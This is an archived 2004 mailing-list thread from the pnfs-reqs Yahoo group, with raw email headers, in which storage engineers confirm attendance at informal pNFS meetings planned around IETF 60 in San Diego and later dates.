Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 82421 invoked from network); 8 Jul 2004 20:42:42 -0000 Received: from unknown (66.218.66.172) by m21.grp.scd.yahoo.com with QMQP; 8 Jul 2004 20:42:42 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 8 Jul 2004 20:42:42 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i68KggkX019829 for ; Thu, 8 Jul 2004 13:42:42 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i68Kgfxv016932 for ; Thu, 8 Jul 2004 13:42:41 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C4652C.1B75ECDD"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 8 Jul 2004 13:42:38 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: planning future meetings Thread-Index: AcRlKyb0ymyRZseOTi2GvdUG/hxnRAAAOcdA To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 I�m planning to attend Tues and Wed. From: Talpey, Thomas Sent: Thursday, July 08, 2004 4:35 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Re: planning future meetings At 12:13 PM 7/8/2004, Garth Gibson wrote: >Would folks please speak up on this list if they are going to attend >this meeting. I'll be attending IETF from Sunday->Thursday and will attend the nonconflicting parts of the pNFS meeting. Tom. >From dnoveck@netapp.com Fri Jul 09 06:21:15 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 39778 invoked from network); 9 Jul 2004 13:21:12 -0000 Received: from unknown (66.218.66.216) by m3.grp.scd.yahoo.com with QMQP; 9 Jul 2004 13:21:12 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 9 Jul 2004 13:21:12 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i69DDVkX019499 for ; Fri, 9 Jul 2004 06:13:31 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i69DDVJW002477 for ; Fri, 9 Jul 2004 06:13:31 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C465B6.85DD1712"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Fri, 9 Jul 2004 06:13:27 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: planning future meetings Thread-Index: AcRlKyb0ymyRZseOTi2GvdUG/hxnRAAAOcdAACKUhnA= To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck I'm probably going to attend Tues and Wed, but that's subject to change if the nfsv4 working group moves. -----Original Message----- From: Corbett, Peter Sent: Thursday, July 08, 2004 4:43 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] Re: planning future meetings I�m planning to attend Tues and Wed. From: Talpey, Thomas Sent: Thursday, July 08, 2004 4:35 PM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Re: planning future meetings At 12:13 PM 7/8/2004, Garth Gibson wrote: >Would folks please speak up on this list if they are going to attend >this meeting. I'll be attending IETF from Sunday->Thursday and will attend the nonconflicting parts of the pNFS meeting. Tom. >From julian_satran@il.ibm.com Sun Jul 11 19:07:53 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 51797 invoked from network); 12 Jul 2004 02:07:51 -0000 Received: from unknown (66.218.66.216) by m11.grp.scd.yahoo.com with QMQP; 12 Jul 2004 02:07:51 -0000 Received: from unknown (HELO mtagate4.de.ibm.com) (195.212.29.153) by mta1.grp.scd.yahoo.com with SMTP; 12 Jul 2004 02:07:50 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate4.de.ibm.com (8.12.10/8.12.10) with ESMTP id i6C27jFA117364 for ; Mon, 12 Jul 2004 02:07:45 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i6C27ivM255956 for ; Mon, 12 Jul 2004 04:07:45 +0200 In-Reply-To: To: pnfs-reqs@yahoogroups.com Cc: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Mon, 12 Jul 2004 05:07:42 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 12/07/2004 05:07:44, Serialize complete at 12/07/2004 05:07:44 Content-Type: multipart/alternative; boundary=""=_alternative 002FC628C2256ECE_="" X-eGroups-Remote-IP: 195.212.29.153 From: Julian Satran Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran ADVERTISEMENT click here I will participate in the August and November meeting. For the September - depends on other travel arrangements. Regards, Julo Garth Gibson 08/07/04 19:13 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject [pnfs-reqs] Re: planning future meetings Here is what I think is on the table for comments/interest from this community: Tues Aug 3, IETF 60, San Diego: - IETF NFSv4 meeting is in the morning - in the afternoon, and evening if appropriate, interested and available pNFS participants gather in the hotel lobby bar. the goal is to get 4-6 hours of meeting time to justify those of us traveling to San Diego that will not otherwise attend the IETF meeting. we might try to arrange a room in a local chinese restaurant, for example, but we do not expect any meeting rooms will be available at the IETF hotel and we do not want to create an officially conflicting meeting. - IETF schedule is not final and may change as late as 2 weeks before the meeting, so people's Tues afternoon may change. this is in part why we are suggesting that the meeting may go into the evening. staying the night is not a bad thing for most of us as the RDDP meeting is likely to be first thing on Wed morning anyway. Would folks please speak up on this list if they are going to attend this meeting. Thurs Sept 30, Pennsylvania: - an informal face-to-face in the Pittsburgh area, at either CMU or Nemacolin (for those who collaborate with or support CMU's PDL, this is the day after the PDL retreat) - this might be the last informal pNFS meeting done outside the NFSv4 TWG schedule as we hope to soon convince the NFSv4 group to take us in week of Nov 8, IETF 61, Washington DC - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant during the IETF meeting week garth On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > Folks, > > We've gotten behind on meeting plans. > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > Hopefully pNFS will get some time on that agenda, but it will be a > small amount at most. What I'd like to propose is that we meet f-2-f > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > and Marina), so I'm also looking for proposals for where to hold the > meeting. > > Since timing is tight on this, please reply soon. > > And while you are thinking about your schedule, lets talk about the > meeting after. The next IETF is Nov 7-12 in Washington DC (which > overlaps SC04 in Pittsburgh). Again we should target a piece of the > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > September, before the cut off dates to submit for the IETF meeting in > Nov. > > Opinions? Date suggestions? Alternatives? > > garth > > > > > > Yahoo! Groups Links > > > > ------------------------ Yahoo! Groups Sponsor --------------------~--> Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From ggrider@lanl.gov Sat Jul 17 18:34:14 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 42452 invoked from network); 18 Jul 2004 01:34:13 -0000 Received: from unknown (66.218.66.216) by m4.grp.scd.yahoo.com with QMQP; 18 Jul 2004 01:34:13 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta1.grp.scd.yahoo.com with SMTP; 18 Jul 2004 01:34:13 -0000 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i6I1YCCp029568 for ; Sat, 17 Jul 2004 19:34:12 -0600 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i6I1YCVU000942 for ; Sat, 17 Jul 2004 19:34:12 -0600 Received: from cthulu.lanl.gov (vpn-client-148.lanl.gov [128.165.253.148]) by cic-mail.lanl.gov (8.12.11/8.12.11/(ccn-5)) with ESMTP id i6I1YAsi004686 for ; Sat, 17 Jul 2004 19:34:10 -0600 Message-Id: <5.2.0.9.2.20040717193400.017d8c80@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Sat, 17 Jul 2004 19:34:21 -0600 To: pnfs-reqs@yahoogroups.com In-Reply-To: <6.1.2.0.2.20040708163437.01db5508@silver.nane.netapp.com> Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_12255131==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs ADVERTISEMENT I plan to come to the pNFS meeting at this point. Thanks Gary At 01:35 PM 7/8/2004 -0700, you wrote: > At 12:13 PM 7/8/2004, Garth Gibson wrote: > >Would folks please speak up on this list if they are going to attend > >this meeting. > > I'll be attending IETF from Sunday->Thursday and will attend > the nonconflicting parts of the pNFS meeting. > > Tom. > > Yahoo! Groups Sponsor > ADVERTISEMENT > bafdf7.jpg > baff2d.jpg > > Yahoo! Groups Links > > * To visit your group on the web, go to: > * http://groups.yahoo.com/group/pnfs-reqs/ > * > * To unsubscribe from this group, send an email to: > * pnfs-reqs-unsubscribe@yahoogroups.com > * > * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From garth@panasas.com Mon Jul 19 06:13:16 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 10786 invoked from network); 19 Jul 2004 13:13:14 -0000 Received: from unknown (66.218.66.167) by m3.grp.scd.yahoo.com with QMQP; 19 Jul 2004 13:13:14 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 19 Jul 2004 13:13:14 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id 2B564K6X; Mon, 19 Jul 2004 09:13:11 -0400 Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: <61271004-D985-11D8-BCEB-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Mon, 19 Jul 2004 09:13:09 -0400 X-Mailer: Apple Mail (2.618) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Aug 3 f2f meeting reminder X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Begin forwarded message: > From: Garth Gibson > Date: July 8, 2004 12:13:40 PM EDT > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] Re: planning future meetings > Reply-To: pnfs-reqs@yahoogroups.com > > Here is what I think is on the table for comments/interest from this > community: > > Tues Aug 3, IETF 60, San Diego: > - IETF NFSv4 meeting is in the morning > - in the afternoon, and evening if appropriate, interested and > available pNFS participants gather in the hotel lobby bar. the goal is > to get 4-6 hours of meeting time to justify those of us traveling to > San Diego that will not otherwise attend the IETF meeting. we might try > to arrange a room in a local chinese restaurant, for example, but we do > not expect any meeting rooms will be available at the IETF hotel and we > do not want to create an officially conflicting meeting. > - IETF schedule is not final and may change as late as 2 weeks before > the meeting, so people's Tues afternoon may change. this is in part > why we are suggesting that the meeting may go into the evening. > staying the night is not a bad thing for most of us as the RDDP meeting > is likely to be first thing on Wed morning anyway. > > Would folks please speak up on this list if they are going to attend > this meeting. > > Thurs Sept 30, Pennsylvania: > - an informal face-to-face in the Pittsburgh area, at either CMU or > Nemacolin (for those who collaborate with or support CMU's PDL, this is > the day after the PDL retreat) > - this might be the last informal pNFS meeting done outside the NFSv4 > TWG schedule as we hope to soon convince the NFSv4 group to take us in > > week of Nov 8, IETF 61, Washington DC > - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant > during the IETF meeting week > > garth > > > On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > >> Folks, >> >> We've gotten behind on meeting plans. >> >> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. >> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >> >> Hopefully pNFS will get some time on that agenda, but it will be a >> small amount at most. What I'd like to propose is that we meet f-2-f >> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. >> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel >> and Marina), so I'm also looking for proposals for where to hold the >> meeting. >> >> Since timing is tight on this, please reply soon. >> >> And while you are thinking about your schedule, lets talk about the >> meeting after. The next IETF is Nov 7-12 in Washington DC (which >> overlaps SC04 in Pittsburgh). Again we should target a piece of the >> not-very-long NFSv4 meeting and decide if we want to also have a >> f-2-f. >> >> I'm happy to propose a day long interim meeting at CMU in Pittsburgh >> in >> September, before the cut off dates to submit for the IETF meeting in >> Nov. >> >> Opinions? Date suggestions? Alternatives? >> >> garth >From julian_satran@il.ibm.com Mon Jul 19 07:30:40 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 69155 invoked from network); 19 Jul 2004 14:30:39 -0000 Received: from unknown (66.218.66.167) by m20.grp.scd.yahoo.com with QMQP; 19 Jul 2004 14:30:39 -0000 Received: from unknown (HELO mtagate1.de.ibm.com) (195.212.29.150) by mta6.grp.scd.yahoo.com with SMTP; 19 Jul 2004 14:30:38 -0000 Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1]) by mtagate1.de.ibm.com (8.12.10/8.12.10) with ESMTP id i6JEUXGP100072 for ; Mon, 19 Jul 2004 14:30:33 GMT Received: from d12ml102.megacenter.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i6JEUWxi227234 for ; Mon, 19 Jul 2004 16:30:33 +0200 In-Reply-To: <61271004-D985-11D8-BCEB-000A95A94F04@panasas.com> To: pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: Date: Mon, 19 Jul 2004 17:30:31 +0300 X-MIMETrack: Serialize by Router on D12ML102/12/M/IBM(Release 6.5.1| March 5, 2004) at 19/07/2004 17:30:33, Serialize complete at 19/07/2004 17:30:33 Content-Type: multipart/alternative; boundary=""=_alternative 004C95C1C2256ED6_="" X-eGroups-Remote-IP: 195.212.29.150 From: Julian Satran Subject: Re: [pnfs-reqs] Aug 3 f2f meeting reminder X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran September 30 is out for me (most probably) but I will be available during the Nov 8 week. Julo Garth Gibson 19/07/04 16:13 Please respond to pnfs-reqs To pnfs-reqs@yahoogroups.com cc Subject [pnfs-reqs] Aug 3 f2f meeting reminder Begin forwarded message: > From: Garth Gibson > Date: July 8, 2004 12:13:40 PM EDT > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] Re: planning future meetings > Reply-To: pnfs-reqs@yahoogroups.com > > Here is what I think is on the table for comments/interest from this > community: > > Tues Aug 3, IETF 60, San Diego: > - IETF NFSv4 meeting is in the morning > - in the afternoon, and evening if appropriate, interested and > available pNFS participants gather in the hotel lobby bar. the goal is > to get 4-6 hours of meeting time to justify those of us traveling to > San Diego that will not otherwise attend the IETF meeting. we might try > to arrange a room in a local chinese restaurant, for example, but we do > not expect any meeting rooms will be available at the IETF hotel and we > do not want to create an officially conflicting meeting. > - IETF schedule is not final and may change as late as 2 weeks before > the meeting, so people's Tues afternoon may change. this is in part > why we are suggesting that the meeting may go into the evening. > staying the night is not a bad thing for most of us as the RDDP meeting > is likely to be first thing on Wed morning anyway. > > Would folks please speak up on this list if they are going to attend > this meeting. > > Thurs Sept 30, Pennsylvania: > - an informal face-to-face in the Pittsburgh area, at either CMU or > Nemacolin (for those who collaborate with or support CMU's PDL, this is > the day after the PDL retreat) > - this might be the last informal pNFS meeting done outside the NFSv4 > TWG schedule as we hope to soon convince the NFSv4 group to take us in > > week of Nov 8, IETF 61, Washington DC > - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant > during the IETF meeting week > > garth > > > On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > >> Folks, >> >> We've gotten behind on meeting plans. >> >> The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. >> See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt >> >> Hopefully pNFS will get some time on that agenda, but it will be a >> small amount at most. What I'd like to propose is that we meet f-2-f >> on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. >> I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel >> and Marina), so I'm also looking for proposals for where to hold the >> meeting. >> >> Since timing is tight on this, please reply soon. >> >> And while you are thinking about your schedule, lets talk about the >> meeting after. The next IETF is Nov 7-12 in Washington DC (which >> overlaps SC04 in Pittsburgh). Again we should target a piece of the >> not-very-long NFSv4 meeting and decide if we want to also have a >> f-2-f. >> >> I'm happy to propose a day long interim meeting at CMU in Pittsburgh >> in >> September, before the cut off dates to submit for the IETF meeting in >> Nov. >> >> Opinions? Date suggestions? Alternatives? >> >> garth ------------------------ Yahoo! Groups Sponsor --------------------~--> Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From bwelch@panasas.com Wed Jul 21 23:21:49 2004 Return-Path: X-Sender: welch@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 84471 invoked from network); 22 Jul 2004 06:21:48 -0000 Received: from unknown (66.218.66.166) by m22.grp.scd.yahoo.com with QMQP; 22 Jul 2004 06:21:48 -0000 Received: from unknown (HELO medlicott.panasas.com) (63.80.58.202) by mta5.grp.scd.yahoo.com with SMTP; 22 Jul 2004 06:21:48 -0000 Received: from panasas.com (welch@localhost) by medlicott.panasas.com (8.11.6/8.11.6) with ESMTP id i6M6LlR06070 for ; Wed, 21 Jul 2004 23:21:47 -0700 Message-Id: <200407220621.i6M6LlR06070@medlicott.panasas.com> X-Authentication-Warning: medlicott.panasas.com: welch owned process doing -bs To: pnfs-reqs@yahoogroups.com In-reply-to: References: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> Comments: In-reply-to Garth Gibson message dated ""Thu, 08 Jul 2004 12:13:40 -0400."" X-URL: http://www.panasas.com/ X-Face: ""HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=>r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\\W:AK\\j?@?c1o Date: Wed, 21 Jul 2004 23:21:47 -0700 X-eGroups-Remote-IP: 63.80.58.202 X-eGroups-From: Brent Welch From: Brent Welch Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=169551413 X-Yahoo-Profile: brent_welch_1960 I will be there Tuesday morning, probably returning Wednesday AM. >>>Garth Gibson said: > Here is what I think is on the table for comments/interest from this > community: > > Tues Aug 3, IETF 60, San Diego: > - IETF NFSv4 meeting is in the morning > - in the afternoon, and evening if appropriate, interested and > available pNFS participants gather in the hotel lobby bar. the goal is > to get 4-6 hours of meeting time to justify those of us traveling to > San Diego that will not otherwise attend the IETF meeting. we might try > to arrange a room in a local chinese restaurant, for example, but we do > not expect any meeting rooms will be available at the IETF hotel and we > do not want to create an officially conflicting meeting. > - IETF schedule is not final and may change as late as 2 weeks before > the meeting, so people's Tues afternoon may change. this is in part > why we are suggesting that the meeting may go into the evening. > staying the night is not a bad thing for most of us as the RDDP meeting > is likely to be first thing on Wed morning anyway. > > Would folks please speak up on this list if they are going to attend > this meeting. > > Thurs Sept 30, Pennsylvania: > - an informal face-to-face in the Pittsburgh area, at either CMU or > Nemacolin (for those who collaborate with or support CMU's PDL, this is > the day after the PDL retreat) > - this might be the last informal pNFS meeting done outside the NFSv4 > TWG schedule as we hope to soon convince the NFSv4 group to take us in > > week of Nov 8, IETF 61, Washington DC > - similar to the Aug 3 meeting, a meeting in the bar or in a restaurant > during the IETF meeting week > > garth > > > On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > > > Folks, > > > > We've gotten behind on meeting plans. > > > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > > > Hopefully pNFS will get some time on that agenda, but it will be a > > small amount at most. What I'd like to propose is that we meet f-2-f > > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > > and Marina), so I'm also looking for proposals for where to hold the > > meeting. > > > > Since timing is tight on this, please reply soon. > > > > And while you are thinking about your schedule, lets talk about the > > meeting after. The next IETF is Nov 7-12 in Washington DC (which > > overlaps SC04 in Pittsburgh). Again we should target a piece of the > > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > > September, before the cut off dates to submit for the IETF meeting in > > Nov. > > > > Opinions? Date suggestions? Alternatives? > > > > garth > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > > Yahoo! Groups Links > > > > > -- Brent Welch Software Architect, Panasas Inc Delivering the premier storage system for scalable Linux clusters www.panasas.com welch@panasas.com >From mclarty3@llnl.gov Thu Jul 22 08:16:08 2004 Return-Path: X-Sender: mclarty3@llnl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 98258 invoked from network); 22 Jul 2004 15:16:07 -0000 Received: from unknown (66.218.66.217) by m21.grp.scd.yahoo.com with QMQP; 22 Jul 2004 15:16:07 -0000 Received: from unknown (HELO smtp-4.llnl.gov) (128.115.41.84) by mta2.grp.scd.yahoo.com with SMTP; 22 Jul 2004 15:16:06 -0000 Received: from mailfe-1.llnl.gov (localhost [127.0.0.1]) by smtp-4.llnl.gov (8.12.3p2-20030917/8.12.3/LLNL evision: 1.15 $) with ESMTP id i6MFG3If028453 for ; Thu, 22 Jul 2004 08:16:03 -0700 (PDT) Received: from POLARBEAR.llnl.gov ([134.9.18.59] verified) by mailfe-1.llnl.gov (CommuniGate Pro SMTP 4.1.8) with ESMTP id 4115786 for pnfs-reqs@yahoogroups.com; Thu, 22 Jul 2004 08:16:03 -0700 Message-Id: <5.0.0.25.2.20040722081450.026a3830@poptop.llnl.gov> X-Sender: e002801@poptop.llnl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 22 Jul 2004 08:16:03 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: References: <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> <9D5D27D6-CB83-11D8-A956-000A95A94F04@panasas.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed X-eGroups-Remote-IP: 128.115.41.84 From: Tyce McLarty Subject: Re: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=169320772 X-Yahoo-Profile: mclarty3 Bill Loewe & I will be there Tuesday for the pNFS meetings departing Wed. AM. Tyce At 09:13 AM 7/8/2004, you wrote: >Here is what I think is on the table for comments/interest from this >community: > >Tues Aug 3, IETF 60, San Diego: >- IETF NFSv4 meeting is in the morning >- in the afternoon, and evening if appropriate, interested and >available pNFS participants gather in the hotel lobby bar. the goal is >to get 4-6 hours of meeting time to justify those of us traveling to >San Diego that will not otherwise attend the IETF meeting. we might try >to arrange a room in a local chinese restaurant, for example, but we do >not expect any meeting rooms will be available at the IETF hotel and we >do not want to create an officially conflicting meeting. >- IETF schedule is not final and may change as late as 2 weeks before >the meeting, so people's Tues afternoon may change. this is in part >why we are suggesting that the meeting may go into the evening. >staying the night is not a bad thing for most of us as the RDDP meeting >is likely to be first thing on Wed morning anyway. > >Would folks please speak up on this list if they are going to attend >this meeting. > >Thurs Sept 30, Pennsylvania: >- an informal face-to-face in the Pittsburgh area, at either CMU or >Nemacolin (for those who collaborate with or support CMU's PDL, this is >the day after the PDL retreat) >- this might be the last informal pNFS meeting done outside the NFSv4 >TWG schedule as we hope to soon convince the NFSv4 group to take us in > >week of Nov 8, IETF 61, Washington DC >- similar to the Aug 3 meeting, a meeting in the bar or in a restaurant >during the IETF meeting week > >garth > > >On Jul 1, 2004, at 1:25 PM, Garth Gibson wrote: > > > Folks, > > > > We've gotten behind on meeting plans. > > > > The next IETF NFSv4 meeting is the morning of Tues Aug 3 in San Diego. > > See the IETF agenda at http://www.ietf.org/meetings/agenda_60.txt > > > > Hopefully pNFS will get some time on that agenda, but it will be a > > small amount at most. What I'd like to propose is that we meet f-2-f > > on Aug 2 or 3 (my preference is the afternoon on Aug 3) in San Diego. > > I doubt we'll get a room in the IETF hotel (Sheraton San Diego Hotel > > and Marina), so I'm also looking for proposals for where to hold the > > meeting. > > > > Since timing is tight on this, please reply soon. > > > > And while you are thinking about your schedule, lets talk about the > > meeting after. The next IETF is Nov 7-12 in Washington DC (which > > overlaps SC04 in Pittsburgh). Again we should target a piece of the > > not-very-long NFSv4 meeting and decide if we want to also have a f-2-f. > > > > I'm happy to propose a day long interim meeting at CMU in Pittsburgh in > > September, before the cut off dates to submit for the IETF meeting in > > Nov. > > > > Opinions? Date suggestions? Alternatives? > > > > garth > > > > > > > > > > > > Yahoo! Groups Links > > > > > > > > > > > > > >Yahoo! Groups Links > > > > >From pcorbett@netapp.com Thu Jul 22 08:35:17 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 68053 invoked from network); 22 Jul 2004 15:35:16 -0000 Received: from unknown (66.218.66.167) by m23.grp.scd.yahoo.com with QMQP; 22 Jul 2004 15:35:16 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 22 Jul 2004 15:35:16 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i6MFZEFC028941 for ; Thu, 22 Jul 2004 08:35:14 -0700 (PDT) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.57.156.135]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i6MFZE53026866 for ; Thu, 22 Jul 2004 08:35:14 -0700 (PDT) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 22 Jul 2004 08:35:11 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: planning future meetings Thread-Index: AcRwAS1aDSl3xAtOTG2PRf8jsEXfvQAAD6dA To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] Re: planning future meetings X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 ADVERTISEMENT I'll be there all day Tuesday, arriving Monday afternoon. -----Original Message----- From: Tyce McLarty [mailto:mclarty3@llnl.gov] Sent: Thursday, July 22, 2004 11:16 AM To: pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] Re: planning future meetings Bill Loewe & I will be there Tuesday for the pNFS meetings departing Wed. AM. Tyce At 09:13 AM 7/8/2004, you wrote: >Here is what I think is on the table for comments/interest from this >community: > >Tues Aug 3, IETF 60, San Diego: >- IETF NFSv4 meeting is in the morning >- in the afternoon, and evening if appropriate, interested and >available pNFS participants gather in the hotel lobby bar. the goal is >to get 4-6 hours of meeting time to justify those of us traveling to >San Diego that will not otherwise attend the IETF meeting. we might try >to arrange a room in a local chinese restaurant, for example, but we do >not expect any meeting rooms will be available at the IETF hotel and we >do not want to create an officially conflicting meeting. >- IETF schedule is not final and may change as late as 2 weeks before >the meeting, so people's Tues afternoon may change. this is in part >why we are suggesting that the meeting may go into the evening. 